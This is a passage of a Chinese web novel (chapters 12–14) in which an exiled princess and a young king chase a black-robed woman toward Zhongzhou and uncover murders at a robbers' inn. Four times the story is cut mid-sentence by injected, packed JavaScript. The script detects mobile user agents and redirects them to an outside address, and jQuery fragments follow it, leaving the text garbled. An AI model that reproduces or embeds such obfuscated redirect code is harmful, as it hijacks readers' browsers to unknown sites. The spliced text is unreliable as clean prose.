思绪微动，如果和她讲那个说书先生口中的红衣獠牙的鬼魅女子就是她家主子，会不会吓得想去拎着说书先生的胡子揪上一揪？ 这件事还是暂时不说为妙。 步笑安没再说什么，抬起下颌，“敲门。” 阿箬应了一声，背起包裹攥紧了肩带，抬手敲响了那扇朱红色的木门。 门上的铜环冰凉，敲击间发出沉闷的声响。 “吱呀——”朱红色的门，从里向外开了一个缝隙。 冒头的是一个下巴有一颗痣的老人，像是管家的样子。 “主人吩咐，您请进——” 上次千秋宴确实不见这老者的踪影，难道说—— 在他的带领下，主仆二人穿过曲折回廊，不多时便来到一处厢房前。 这厢房四周清净的很，远离喧嚣。院中中了几株翠竹，正迎风轻摆着。 青石板路上没有侍从来往的脚步，也没有侍从的身影。 那些护院都被遣散了吗？为何一路上只见到管家一人。 步笑安心中难免有些疑惑。 御史府内院落与院落之间联系紧密，颇有些刁钻巧思，很是不错。 就在这时，院子尽头缓缓走来一道黑色身影。那人身形修长俊逸，一袭墨袍衬得他愈发挺拔，手中摇曳着那把刻着正大光明四字的玉骨扇。 蔺甘棠迈步跨入院门，他眼中含笑。 步笑安对他微微点头。 “来了呀。”蔺甘棠扇着扇子笑着说。 然而阿箬却瞬间警觉起来，迈前两步，双臂一展，挡在步笑安身前，杏眼圆睁，神色满是警惕。 “小姐，他怎么也在。”阿箬的声音里透着几分忿忿不平，纤指直指蔺甘棠，似乎对之前的交手还怀着一丝余怒。 “我告诉你，你要是敢对我家小姐无理，我饶不了你！”她咬着唇，气鼓鼓地说道。 蔺甘棠嘴角的笑意更深了。 步笑安轻叹一声，偏头就是一个眼神，这才制止了阿箬。 “阿箬，不得无礼。这位是我幼时的故人，亦是此行同伴。我们皆要去中州办差，途中正巧也要拜会侯掌柜，有他同行，也好有个照应。” 阿箬闻言，神色微僵，心有不甘地瞥了蔺甘棠一眼，但见步笑安神色认真，只得撇了撇嘴，默默地退回步笑安身后，低声道：“知道了，小姐。” 步笑安侧身道：“你去跟管家看看庖厨在哪里，做点儿你喜欢吃的罢。” “好嘞，小姐。”阿箬在路过蔺甘棠的时候赠了他一道白眼，又兴高采烈地跑了出去。 正当这时，远处的天空传来一道清澈悠长的哨声。 那声音清澈冷冽，绵远不散。 树荫底下，二人心怀鬼胎互相对视一眼，齐齐朝天际望去。 步笑安知道，这是神弓卫的联络方式。 只是她从来都没有启用过这样的联系手法，所以神弓卫是来找他的。 她眯起眼睛，看样子十分笃定，“找你的？” 蔺甘棠摸一摸鼻梁，“找我们的。” 当金令主单膝跪在地上，对二位主子行礼的时候，他感受到了影影绰绰的压迫力。 这压力来源于何方他尚且不明。 一位，是他曾经的主子。一位，是他现在的主子。 二位主子之间貌似没有什么不合。 但是他却是不知为什么还是汗毛倒立。 “禀报二位主子，上次殿下让追踪的那人有信儿了。” 金令主抬起头，由于不敢直视二位主子，主动将目光投到了两位主子中间的那棵树上。 那棵树纹理清晰，好似有着上百年的历史。 他对着树说：“殿下夜闯县衙时所见的那黑袍女子，一直藏匿于章州。千秋宴后，她便踪迹全无。然而，属下循着殿下提供的线索，在中州西南的竹林深处，寻得一座隐秘宅院。” 步笑安轻轻抬手，指尖抵在唇上，略作思考。 她未曾料到，神弓卫竟然如此迅速地捕捉到了黑袍人的踪迹。原以为这盘棋局尚需几番曲折，才能拨开迷雾见真章，不曾想—— 她虽然不知道蔺甘棠是怎么知道的黑袍女子，但她有一件事很肯定。 “王是不是也怀疑到了那人？” 步笑安抬眸看他。 要不然金令主不会当着他们两个人的面一起来说这件事。毕竟这是步笑安交给他的任务，而他却毫不避嫌地汇报给了蔺甘棠。 蔺甘棠半倚在树下，还似少年时，他冲她眨了眨眼。 “我便是跟着这个人来的，殿下可信？” 步笑安心里忍不住盘算。 若是如此—— 那定然他手头掌握的信息要比她多得多。 想至此，步笑安出口试探道：“王查到了何种地步？” 蔺甘棠一笑，“殿下这就不地道了，消息是要共享的，我要是说了，殿下以后是否可信任甘棠？” 甘棠二字一出。 步笑安整个人都不好了，被她背在后面的手指尖微微轻颤。 甘棠，甘棠—— 她又想起来幼年时有事儿没事儿就叫这个名字的时光。 用膳时吃到了生姜，她叫甘棠。睡觉时从床上掉下来，她也哭着喊着叫甘棠。乃至她上房揭瓦，还要喊来甘棠去给她搞个梯子。 甘棠这两个字的主人见证了她小时候的所有糗事。 “殿下为何不再喊孤甘棠了——？” 一道道质疑声如刀片一样将步笑安的耳道撞伤。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660002|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她不知道为什么，就是喊不出口。也许是因为对以前那个不成熟的自己感到羞耻。也许是因为不想面对这个见证了自己众多黑历史的人。 但是，她面上却还是若无其事。 “如今身份悬殊，怕别让有心之人听了去。” 步笑安背过身，拎起金令主的配剑，转身就走，“走吧，去竹林。” 还保持单膝跪地的金令主看见自己配剑被拔，无奈地低下了头。 这已经不是第一次了。 蔺甘棠凝视着步笑安的背影，“身份悬殊么……” 他自嘲一笑，也跟了上去。 步笑安没有回头，她手中拎着金令主的配剑，长发在秋风中微微飞扬。 “诶，小姐——你又干什么去，还没吃饭！” 阿箬端着一整个托盘站在院门口急得直跺脚。 * 御史府有一点好处，就是出行的马车根本不缺，二人哪怕出行再急，都有时间准备好。 “吁——” 林中茂密的竹林随着风在轻轻摇曳。 到了章州西南方向密林，小径愈发狭窄难行，枝叶纵横。步笑安与蔺甘棠轻轻跃下马车，踏上那堆叠的竹叶往深处走去，每一步都会发出吱吱呀呀的轻响。 神弓卫隐匿在暗处几乎与竹林融为一体，只是偶尔会现身给他们一个暗号，替他们指路。 目光穿透层层阻碍，终于远处一个小院悄然显现。那小院遗世独立，被矮墙环绕，墙角覆满了青苔。 院中飘出屡屡青烟，却不似炊烟。远远看去地上还躺着两个横七竖八的人影，看着倒地的样子像是神弓卫！ 直觉告诉步笑安此时这院落怕已经是人去楼空。 步笑安暗道一句，“不好。” 她脚下轻点，便又甩下蔺甘棠飞奔出去，越过栏杆进了院落。一连串动作是行云流水般顺畅。 蔺甘棠这次手还没有来得及伸出去，他不得不在后面摇了摇头，“这身手，孤算是叹为观止。” 竹林小院中，火看样子已经烧了有一段时间，两具尸体也是神弓卫的人无疑。 经过她一番探查，被杀的两名神弓卫倒是乔装打扮的很好。身上没有带着神弓卫的令牌，若不是她太清楚神弓卫的气质，她会以为这里躺的是两个劫匪。 他们的身份也许还没有被发现。可一个女子凭怎样的功夫竟然能除掉两个神弓卫呢？ 步笑安还没有头绪，只是她一眼便识破，这火是人为点燃，显然是在毁灭证据。火光不大，烧毁不了小院，只是铜盆里的东西毁了。 “咦——” 她俯身细看，风向正巧将火焰推向一侧，铜盆中的纸张尚未全部化为灰烬，隐约还能瞧见残留的字迹。 心思电转间，她扫视四周，目光停在角落那卷半旧的草席上。来不及犹豫，她迅速拽起草席，双手一展，猛然朝铜盆扑去。 这下火算是灭了，步笑安舒了口气。 不料她旁边伸出只手，一下把那草席又给掀开了。蔺甘棠拎出了还未烧焦的纸张。 那纸张发烫，连带着他的指尖都有些发红。 步笑安凑到他身边，低头看着那张纸上的字，上面尚且透露着中州二字。 她一皱眉，“竟又是中州！” 12. 启程 马车入了集市，耳边传来的吆喝声都与章州西南的寂静不同。 热腾腾的包子铺，老板插着腰剁着猪肉的肉铺等等一应俱全。这里离那篇密林只有不到一条巷子的距离，却完完全全被一堵墙截断了，只得绕路而行。 可若对于一个可以飞檐走壁的人来说，生活起居等一切杂用却完全不愁。 难不成此人还是个武功高手？ 蔺甘棠难得和步笑安共处一辆马车，有意无意地想将她从沉思中拉出来，便道：“殿下何苦因为一个旁人闷闷不乐。你看这满城的烟火气。” 步笑安撩开车帘，一脸漠然。 是了，边陲小镇不同于王宫，也不同于王都，对他来说自然是新奇的，可她已经在民间徘徊了十年有余，早就已经看惯了。这里天高任鸟飞，自由广阔。表面干净的底下，正适合藏污纳垢。 “王趁现在应该多看看。回了王宫可就看不到了。”步笑安合上眼睛闭目养神。 闻言，蔺甘棠收回看向外面的目光，拎起它那把折扇。 “殿下就未曾想过再回宫？” 步笑安睫毛轻颤。 自她从王宫逃亡之后，她曾迷茫过，痛苦过也挣扎过。但终究是势单力薄，经过这么些年的沉淀，她一步一步地丰满羽翼，书肆生意横跨中晟王朝，情报网遍布四海。 她确实在一点一点的接近目标，只不过说起回宫这件事，若她父王母后都在那里是她的家，若不在了，她便失去了回去的理由。 “整个中晟就是我的家，在哪里重要吗？” 蔺甘棠展开折扇，轻抚扇面。 “殿下可知，我为何要在扇面上写下正大光明四个字？” 步笑安收回扶着车身的手臂，撑在一侧，薄唇轻启，“不知。” “因为孤想正大光明地迎殿下入宫，殿下，我从来没觉得我们之间身份悬殊过。” 此刻的步笑安手指微缩，心海中像是被投入了一块小石头，掀起了波澜。她没有想到蔺甘棠会同她讲这样一番话，竟然如此坦荡地告知她。 是，没错，相隔十年她自从再见他之后便心存疑虑，她不信他。 步笑安有一丝想要捏着额头让他别说了的冲动。 她叹了口气，“你这是在同我表忠心。” 步笑安睁开眸子，望向那双清凌凌的眼睛，澄澈一片，看着没有一丝杂质。 他说的是真的，她的直觉告诉她。 “所以这次你来，是都已经计划好的，并且确定已经有可以应付幕后黑手的能力了对吧。” 若是一个简简单单的傀儡君王，全身心都在演戏那也好，不被人揪出马脚就是够本事。而他这些年怕也是和她一般在一步一步地丰满羽翼，企图在暗中揪住那个幕后黑手。 从他在御史府可以差遣神弓卫一事上就可以得知，他并不如面上那般无力，还能指挥着神弓卫让他们只听他的差遣。 也是从这件事上，他才令步笑安刮目相看，也为之忌惮。 “但有一事不明，既然如此，那我也打开天窗说亮话。” 步笑安眼神一凝，“你现在是王，也是暗中有自己势利的王。那为何——对我表忠心。我的意思是，你大可以坐稳你的王位。” “殿下这是还不信我。”蔺甘棠收起扇子，他淡淡道，“这王位，该是你的。” 车厢里寂静异常，二人也不再说话。 香毬散发着好闻的香味，是她年少时经常用的香。 没想到他居然还记得。 “吁——” 马车好整以暇地停在了御史府门口，步笑安轻轻跃下马车。 蔺甘棠拎着袍子走在后面，“曹然秋后问斩，殿下有何异议？” 步笑安头也不回地往里走，“就按你说的办。对了，你明目张胆地住在御史府不会出问题？” 蔺甘棠吊儿郎当地开了口，“该知道的人只当是孤胡闹，不知道的人自然不知道。” 步笑安点了点头，“那就好。” 就在这时，阿箬从朱门外一路小跑过来，挽起步笑安的胳膊，“小姐，你可回来了，饿了吧，快，喝完雪梨汤暖暖身子。” 说着就架着步笑安往里走。 一迈进小院，步笑安就发现院内充斥着美食佳肴的香气。 忙碌了一天，倒是亏待了自己胃。她细细分辨出里面有久仰大名的西湖醋鱼，还有东坡肘子的气味，那气味萦绕在步笑安的鼻尖，勾的她味蕾有些蠢蠢欲动，不由自主地就往那边移动胳膊腿儿。 “殿下我跟你说，这管家可厉害了。他什么菜都会做，不知道的还以为是宫里的御厨呢。”阿箬移动着菜品的位置，又放下一道素菜。 御厨？ 这话一出，她拿着筷子的手顿了顿。看着这一桌子的佳肴，她数了一下，刚刚还没有发现，经过阿箬这一提醒，发现桌上的许多菜都是秘传的宫廷菜。在章州驻扎的御史府上怎么会有这样的厨子？ 荤素搭配地异常工整，还有好几盘菜都是她曾经在宫里时爱吃的。 步笑安叉起一个丸子，阿箬在旁边道：“殿下，你看着素丸子的色泽，沾着汤汁这种做法还是头一回见。” 此种做法的素丸子步笑安并不是头一回见，而是早就已经耳熟能详。因为她曾经老是拐着蔺甘棠去御膳房偷吃。 不对，步笑安撂下筷子，他不会真把御厨给拐出来了吧！ 步笑安觉得这种可能性极大，毕竟越荒唐就越符合这个昏君能做出来的事情。 不管三七二十一，这一道道菜肴越看越有食欲，步笑安招呼了阿箬一起吃都没有把这一桌子菜吃完。她吩咐了阿箬，把剩下的菜又拿回到厨房，打算晚上留着加餐吃。 就在她绕着院子小跑消食儿的时候那位管家又来了。 步笑安这次看着他就觉得此人身上焕发着异样的光彩，一下子对他的好感度攀升，连那颗痣都看着顺眼起来了。 “管家何事？”步笑安微微一笑。 那管家恭恭敬敬行了一礼，“主子吩咐，明日一早启程去中州。要姑娘早做准备。” 这么急？不过步笑安转念一想，倒也是，毕竟那黑衣女子已然上路，他们也该早动身为好。 “好。我知道了。”她也回了一礼。 闻言，管家又躬身呈上了摆着两套装束的托盘，“这是主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660003|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子给二位姑娘准备的衣服，漫漫长路，还是换些易于行走的便于出行。” 步笑安伸出手接下托盘，一打眼就瞄到了这是极其耐造的料子。 与管家道过别后，她回到屋中，轻轻展开，便看出了这事一袭烟青色男子装束。面料轻软却坚韧，显然是特意为长途行走而制。穿着这样的衣物，即便置身人群之中，也绝不会引人注目。 “小姐，这衣服真好看！看着简单，绣工却这么精细。只是给我们的吗？还算他有点儿眼力见儿。”阿箬凑上前来，双眼放光。 那套衣裙颜色略浅，呈月白色正合阿箬的年纪。 步笑安轻笑一声，将衣物折好放在床头。 “好了，阿箬，早些歇息吧。明日一早就要出发了。” 时间过得格外快。 第二日，府衙内炊烟渺渺。 伴着鸡叫声步笑安睁开了眼睛，脖子有些酸，她大大地抻了个懒腰。 昨夜睡的格外不踏实，就像有一根弦儿一直在揪着，将将要断又不断的感觉。 步笑安顶着乱乱的头发坐在床塌上发呆，思绪乱飘。从早日吃的肘子还有没有到明日客栈住哪里，漫无目的的想了又想。 一旁，阿箬倒是起得早，趴在她床边上用手撑着脸，问她：“殿下——有个事儿阿箬不知道当讲不当讲。” “问。”步笑安依旧发着呆，言简意赅，神游天外。 “我们在茶楼见到的那个人，也就是那个登徒子，也就是这个御史府的主人，他们都是一个人吗？” 步笑安僵硬地转过头，此时才把思绪拉回些许，直到看到阿箬认真的眼神，这才彻底回神，差点笑出声来。 她真的不该骗如此单纯的一个好姑娘。 “他——是御史府的客人。一名不速之客。” 阿箬义愤填膺，大声道：“客人就能如此为所欲为？！我真是开了眼了。” 步笑安眼神中露出丝丝笑意，她岔开话题。 “阿箬，梳妆。” …… 昨日方才迁至此地，他们的包裹尚未拆封，这下倒也省了功夫，直接背上便可上路。 主仆二人收拾完行囊，换上新衣，便从厢房中出来溜达。 穿过几道曲折的回廊，不多时便到了千秋宴的高台前。高台依旧静静伫立，一如往昔。再次路过它时，步笑安只觉得唏嘘。 步笑安驻足于台前。 “小姐，你怎么了？”阿箬拎着包袱在她面前等着，她平时风风火火的脚程快得很。 步笑安回过神来，唇角微微一勾，“无事，只是物是人非事事休。” 阿箬眨了眨眼，略显困惑地问：“小姐，你以前来过这里？” 步笑安微笑着点头，“来过。” “小姐你怎么什么都不和我说啊。”阿箬看起来有些委屈。 步笑安安慰道：“回头路上再和你慢慢讲，好不好？” 太阳逐渐升起，眼看着艳阳高照。 步笑安终于在大门前看到了蔺甘棠的身影。 他还是一袭黑金色长袍，乌发高束，很是挺拔。 “来了就走吧。”他笑道。 13. 黑店 没有凉风袭来的秋天可以说是秋高气爽，正是出行的好时节。 马儿顺着官道一直往前走，路途平坦，倒也省了不少心。 车厢内空间狭窄，只够二人入座，步笑安和蔺甘棠端坐其中。车外，管家驾着马车，阿箬坐在一旁，起初还有些拘束，可没过多久，两人便聊开了。 车外欢声笑语，车内沉寂如冰窖。 步笑安在车内闭目养神，实则却是魂游天外。 男子身上淡淡的檀香味，清晰可闻的呼吸声，还有那细微的几乎于无的衣料摩擦音无一不在困扰着她。 有的时候无声，反而震耳欲聋。 脑子里走马灯似的过着许多事情，终于她捉住了其中一缕思绪。 步笑安缓缓睁开眸子，清了清嗓子，看向他，“去中州有几条路能走，你打算选哪条？” 蔺甘棠挑眉，十分自然地接过话茬，看了看一本正经端坐着的步笑安，他换了个姿势，背斜靠在马车上。 “自然是最便利的那条，殿下以为呢？” 她自是对周围附近交通做过一番调查，初到章州时她便买了周遭的舆图，一是为了方便藏匿，二是为了方便逃跑。所以不论是章州城内还是附近城镇，自是熟悉。 见自己的袖子又被他压在了那黑金袍袖的底下，步笑安一垂眸，流畅地抽了出来，继续道：“翻山而行看似最快捷，但我们四人，有二人没有功夫，这条路线定是不行。” “剩下两个选择，一是走到下一处城镇转水路，还一个选择就是绕山而行。” “我看这两个都可以，你刚刚说最便利——王有何见解？” 蔺甘棠摸着下颌，思索道：“殿下所言有理。转水路再行至中州这条线在秋天确实可行，这个孤倒是没有想到。” 中晟王朝的女子多秀外慧中，尤其宫廷中的女子更甚。而她却不同，从小就喜欢爬坡打滚儿，长大了看着像是端庄娴熟，实际上却足智多谋，变化无常。 “绕山而行，还是依水而行，依我看，看那时天气如何怎样？”蔺甘棠道。 因附近秋季多雨，若是遇上涨潮，水路怕是有危险，思及此，步笑安微微点头。 “也好。” 一路北上，这天边儿逐渐变了颜色。 顺着官道一路走来通畅无比，按这种脚程，怕是再有个三五天就能到中州。 马车晃了几下最终逐渐停了下来，只听阿箬在外边道：“小姐，我们今晚就在这里落脚吧，这里有家客栈！” 蔺甘棠撩起车帘，往外看去，首先看见天空挂着的夕阳。 那夕阳金灿灿的随只剩半个挂在天边儿，但却将天色渲染的极其好看。他不禁叹道：“这等景色，着实是美极。” 阿箬回过头，看是蔺甘棠先出来，当即嫌弃道：“呀——你怎么出来了，我家小姐呢？小姐——” 步笑安扶住车厢的一侧，循声望去看见一轮逐渐落去的夕阳，也是心里直喊妙哉，弯着腰往外挪。 日出与日落，周而复始却也如此震撼人心。 蔺甘棠跃下马车后，心情大好。似是被这美妙的夕阳带动，步笑安的眼前顿时出现一条玉臂，他道：“走吧。” 步笑安抬眼看他，见他眼中毫无异色，便也伸出手搭在他手上，轻轻跃下了马车，“多谢。” 夕阳的下方便是一家距离官道只有几尺之隔的客栈，牌匾上写的居安客栈四个字。 这家客栈长相怪异，透着一股子古怪。门口的牌匾歪歪斜斜地挂着，似乎随时都会掉落。并且门口的布帘也是褪色的，从它露出的一角可以推测，原本这帘子是墨青色的，上面还有着十分明显的脏手印。 步笑安轻轻抚了抚鼻尖，目光微敛，心中暗叹：这得多久没有人打理了？ 然而，这客栈处于前不着村、后不着店的荒僻之地，方圆数里皆无其他落脚之处。无论如何，今日也只能在此暂歇。 四人踏进客栈后，阿箬把包裹往客栈大堂桌上一撂，四处瞧了瞧，见店里没人招呼，这就去找掌柜了。 “掌柜的，开两间房——” 柜台后，一个头缠红布条的掌柜正拨弄着算盘，头也不抬，“阿昌，开两间房！” 楼上传来一声拖沓的应答，一个脸上带着刀疤的小二探头而出，倚在楼梯扶手上，声音懒散地道：“几位客官，里面请。” 一日舟车劳顿，几个人都是靠着管家昨日准备的饭菜饱腹，出门在外没地方开火，遂满肚子都是凉水和冷羹，如今只觉腹中空空，只盼一碗热汤暖胃。 阿箬朝上面喊着，“是最里面的两间对吧，我们先不上去，在这儿先吃点饭！” 闻言，在柜台处扒拉算盘的掌柜掀起眼皮，“厨子回家了，有需要自己下厨。不过说好了，有什么吃什么，小地儿没有什么新鲜食材。” 这是什么规矩？客人进门也不问是打尖还是住店，待客之道敷衍怠慢，竟连厨子也回了家。 从某种意义上来说，这客栈很是令人生畏了。 步笑安制止了阿箬想要去跟掌柜的理论一番的行为，对她摇了摇头，示意她和掌柜去弄点儿吃食过来就算了了。 后厨忙活了半天二人最后弄了几碗热腾腾的粥出来，再加上这里面有点儿咸菜，四人倒是对付着吃完了一顿晚饭。 一顿饭下来，众人没有说一句话，只有掌柜打着算盘的声音以及咀嚼声。 四人一看着我我看着你，心底不由自主地想到了一个词儿。 这是黑店。 蔺甘棠倒是吃的欢快，吃完后还帮着收拾了碗筷，路过掌柜的时候还顺带着略微一笑。 步笑安将这一幕尽收眼底，不知道他葫芦里卖的什么药。 几位吃完饭后便各回各家，各找各妈，回到各自的房间去了。 半夜的客栈静得出奇，月光透过窗间缝隙射入二楼客房，在地板上勾勒出斑驳的光影。 步笑安本已早早歇下，然而舟车劳顿之余，晚饭又吃得太少，腹中空空如也，饿意将她唤醒。 阿箬睡在她身侧的草席上，呼吸均匀，还砸吧着嘴。她微微侧身，轻轻掀开被角，轻手轻脚地下了床。 步笑安弯腰从包袱里翻出一个剩下的馒头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660004|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。馒头早已凉透，硬得像块石头。她也顾不得，只能以此充饥勉强填饱肚子，不让它再抗议。 就在此时步笑安的咀嚼声顿住了，隐隐约约耳边响起细碎的打斗声，她以为是听错了，继续嚼着馒头。 但过了一段时间后，那声音非但没有消失，反而愈加清晰，甚至可以听出那是几人在缠斗。 这就不是幻觉了，步笑安眯起眼睛凑到墙边附耳听去。 那声音顺着墙壁震动传到此处，耳朵凑近些就会感到刀剑声震荡在耳边。显然打斗发生的地点就是这间客栈。 步笑安扬了扬眉，放开啃了一半的馒头，又重新掏出包裹，从中拿出了套夜行衣，手腕微抖，她利落地将其套在身上，俨然又是一名职业暗探。 步笑安手指搭在门闩上，她深吸一口气，缓缓将门推开一条缝隙。 出门一片幽暗，四周无红烛，二楼一片寂静。 步笑安屏住呼吸，顺着木栏探向一楼大堂。忽然一个暗影一闪而过，身形还未看清便隐如了暗幕之中。 她眯起眼睛，亦步亦趋小心地往下试探，试图从黑暗中捕捉那道身影的轮廓，然此人却消失无踪了。 下到一楼时，她一个飞扑到酒柜后面，隐藏在影子里。只听得黑暗中有人轻语，那声音正是这客栈掌柜，“老大，没留住，让人跑了。” “跑了？真是废物。”此声音微沉，不过步笑安也听到过，是那叫阿昌的刀疤脸。 “不过老大，不要紧，她的包袱都在，看看值多少银子，你看。” 黑暗之中突然燃起烛光，步笑安微微偏头，露出一只眼睛在外面，正好瞧见二人围在桌子前掏着一个包裹。 步笑安当即明白这是借住在这里的另一个客人的东西。他们一行四人不好下手，但其他借住在这里的人却不一定难逃黑手。独行者就像是脱离族群的动物，只有被人宰割的份儿。 突然间，步笑安有了个新的想法，手覆上面罩往上提了提。 之后又伸到袖子中抽出了一个石子，思考过后在刹那之间就脱手而出，正巧打在那掌柜的面门之上。 只听“哎哟”一声，那人便出了声，“老大，有人！” 听到此声音，步笑安又从地上捡了一枚石子，往门口青石板地上那么一抛。 客栈门口传来一声“咚”的轻响，石子敲击在青石板之上。 “老大，在那边——”那掌柜的惊道。 小二恨铁不成钢，“嘘——别说，走！” 步笑安屏息凝神，目光锁定门口方向。 只见只见火光忽地跃动，伴着两道身影一跃而出，消失在夜幕之中。 就在此时，步笑安从酒柜后面出来，脚上暗中使力掠过大堂。她自桌上一窜而过，将摊在桌子上的包裹飞快打了个结，拎着包裹就一溜烟儿奔上了二楼。 步笑安迅速合上房门，又在三两息间换掉了夜行衣，附耳贴上木门。 这次传过来的声音没有刀剑声，反而是人声还清晰了很多，能听出话语间带着浓浓的怒气。 “人呢？包裹呢？你个废物！” 14. 包裹 经过夜晚的一番折腾，保不齐黑店里的那几个人会狗急跳墙，打上他们几个客人的主意。步笑安一整晚都半睡半醒，不是太敢入眠。 她的床榻正顶着另一侧墙边，仔细听去倒是也能洞悉他们的动向。好在他们在外晃悠了大半夜，最终也放弃了继续寻找一人一包裹的踪迹，她这才沉沉睡去。 “醒醒——醒醒，小姐！” 步笑安迷迷糊糊地睁开眼睛，阿箬那张精致的小脸便直怼到了她的眼前，几乎贴到了她的鼻尖，二人大眼瞪小眼瞪了一阵子。 “怎么了这是？”步笑安垂下眼睫，扳正她的脑袋往远处推了推。 晨间的朝阳分外和煦，本该是一个极其舒适的早晨，哪知鸡都还没叫就被薅了起来。 然，阿箬站直身子，一脸正经地皱眉道：“小姐出事儿了！” 步笑安揉了揉眼角，眼中含泪地还打了个哈欠，只道：“我没事儿。” 阿箬瞪大了眼睛，有些恨铁不成钢，“小姐，不是你，是其他人出事儿了！” 昨儿晚上其他人要出事儿早就出了，何必挑现在这个时间点。 她睁开眼睛正要开口，就听得阿箬继续道：“客栈掌柜的——没了！” 什么玩意儿？ 步笑安闻言一惊，利索地直起身子，瞬间翻身下榻。 一边披着外衫就往外走，“走，具体说说。” 据阿箬的说法，她早晨醒来时下楼，料想着这家客栈没有厨子，便去隔壁找管家下来一起做饭。谁料到一下楼梯，二人便看到地上有血迹，那形状很像梅花，不过他们也没多想就打算直奔厨房。 可是这一路走着，就觉得不对劲的很，一路上静悄悄的，也没个人影儿。按道理来讲，经营客栈的掌柜小二本应该早就起来了，毕竟是开门做生意。 二人虽心有不满，但是毕竟今日就走了，也不会多说些什么。 谁知刚一撩开厨房的帘子，那血腥气便突如其来，阿箬一个没忍住便扶着灶台边儿就吐了。 只见掌柜的摊在炉灶旁面，太阳穴处插着一只羽箭，血淌了一地。 阿箬停了下来不再说了，只是瞪着眼睛等待着步笑安的反应。 听至此，步笑安大致明白发生了什么，吱呀一声步笑安拉开房门，深吸一口气快走了两步，停在了隔壁。 “咚咚咚”轻敲了三声房门后，她手掌用力，木门便在她视野中缓缓打开，她抬眸就不假思索地出声道：“出事——” 话音未落，步笑安便觉得眼前的光景出现的有些不合时宜。 蔺甘棠只身着一身单衣，此时侧对着门口，听见她的声音，他刚刚好侧目看向她。 俊秀的身姿挺拔如松，一头乌发轻披于肩，他怀中抱着衣衫，清凌凌的眼神就这么看着她。 “管家已经告知于我，我知道了。”他唇一勾，那抹笑甚是好看。 站在的门口步笑安摸了摸鼻尖，感觉自己像是轻薄了什么少年郎一般，缓缓转过身去，歪着头道：“你一会儿穿完来我房里，有事和你说。” 说完她便急匆匆地走了。 步笑安决定亲自去看看厨房的凶案现场。 掀开厨房的门帘，她发现事实和阿箬说的大差不差，靠在炉灶的是昨日见到的那名掌柜的，也是夜晚被她引出去的那人。外出时没有死，那么就一定是昨夜回到客栈后被杀害的。 那他的同伴呢？ 她微微皱眉，在厨房处踱着步，眼观八方，“阿箬，厨房之外的地方你们都转过吗？” 阿箬一直躲在她的身后，看来是对这种血腥场景略感不适。 “没有——” 按照道理来讲，除了那个实际上伙计的掌柜，还会再有一具老大的尸体。步笑安暗自思忖，她轻声绕过厨房，从另一个门出去直闯内院。 夜间的寒意还未散尽，冷风扑面而来，院中一片寂静，只见正中间有一口井，井口已经风化的不成样子，隐约还能看到上面有一道刀痕。 步笑安缓步靠近，停在井口前向下望去，只见一根绳索顺着井口垂下，末端似乎还绑着什么东西。 那东西起起伏伏，隐约透出来是个人形，看那帽子形状，正是那个名叫阿昌的人昨天戴着的帽子。 她微微眯起眼睛，心道：黑店老大也找到了。 问题来了，是谁杀的他们？ 步笑安环顾四周，只见内院周遭破旧不堪，唯有两个小木屋看看矗立在此处。内院唯有此处是二人的落脚之地，平常人无法涉足。 木屋的门半掩着，风吹过发出吱呀一声，步笑安当机立断拦住房门，侧着身子探了过去。 房中凌乱异常，像是哪里都被翻过一遍。柜子被放倒在地上，衣物遍布满地，看这样子，步笑安心中萌生了一个念头。 怕不是遇到黑吃黑了。 日头渐高，秋风吹得凉飕飕的，她轻咳了两声。 事情已经查到这一步，步笑安手头已然是没了线索，遂转身回了房间。 这件事情本身就与他们没什么关系，其实可管可不管，本来就有琐事缠身，还是尽早脱身的好。 再进屋时蔺甘棠已经在房间里候着了，步笑安首先看到的就是他隔着桌子看向窗外的背影，若有所思的样子令她觉得事情并没有那么简单。 他听到声响后转过身来，见来人是她便下颌轻抬，示意她看向桌子上的包裹。 “这个包裹，怎么来的。”他淡淡道。 步笑安好整以暇地合上房门后，拽了椅子过来坐下，开了口，“昨夜我听有打斗声，便去看了一看。这是家黑店王看出来了对吧。” 蔺甘棠手抱在胸前，点了点头，“我知道。” 指尖轻敲着墙面，他稍稍一顿，又道：“这里只有我们二人，殿下不必用王来称呼。” 步笑安微一挑眉，直言道：“殿下来，殿下去，你这不是也改不了口不是？” 她不欲在与他在这种事情上纠缠，继续道：“昨夜，客栈内的二人欲抢劫一人，那人命大跑了，只留下一个包裹。我趁他们不备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 